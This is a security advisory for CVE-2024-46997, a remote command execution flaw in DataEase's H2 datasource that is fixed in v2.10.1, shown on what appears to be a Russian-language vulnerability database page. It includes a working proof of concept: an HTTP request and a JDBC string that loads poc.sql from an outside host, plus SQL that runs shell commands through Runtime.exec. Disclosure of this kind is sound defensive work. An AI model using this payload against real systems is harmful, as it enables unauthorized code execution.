GHSA-h7mj-m72h-qm8w

Опубликовано: 23 сент. 2024

Источник: github

Github: Прошло ревью

CVSS4: 9.3

CVSS3: 9.8

Описание

DataEase's H2 datasource has a remote command execution risk

Impact

An attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.

request message:

POST /de2api/datasource/validate HTTP/1.1 Host: dataease.ubuntu20.vm User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close X-DE-TOKEN: jwt Content-Length: 209 Content-Type: application/json { "id": "", "name": "test", "type": "h2", "configuration": "eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ==" }

h2 data source connection string:

// configuration { "jdbc": "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);", }

the content of poc.sql:

// poc.sql CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('touch /tmp/jdbch2rce')

You can see that the file was created successfully in docker:

/tmp # ls -l jdbch2rce -rw-r--r-- 1 root root 0 Sep 16 22:02 jdbch2rce

Affected versions: <= 2.10.0

Patches

The vulnerability has been fixed in v2.10.1.

Workarounds

It is recommended to upgrade the version to v2.10.1.

References

If you have any questions or comments about this advisory:

Open an issue in https://github.com/dataease/dataease Email us at wei@fit2cloud.com

Ссылки

Пакеты

Наименование

io.dataease:common

maven

Затронутые версииВерсия исправления

<= 2.10.0

2.10.1

EPSS

Процентиль: 95%

0.16842

Средний

9.3 Critical

CVSS4

9.8 Critical

CVSS3

CVE ID

CVE-2024-46997

Дефекты

CWE-74

Связанные уязвимости

CVE-2024-46997

CVSS3: 9.8

nvd

больше 1 года назад

DataEase is an open source data visualization analysis tool. Prior to version 2.10.1, an attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. The vulnerability has been fixed in v2.10.1.

EPSS

Процентиль: 95%

0.16842

Средний

9.3 Critical

CVSS4

9.8 Critical

CVSS3

CVE ID

CVE-2024-46997

Дефекты

CWE-74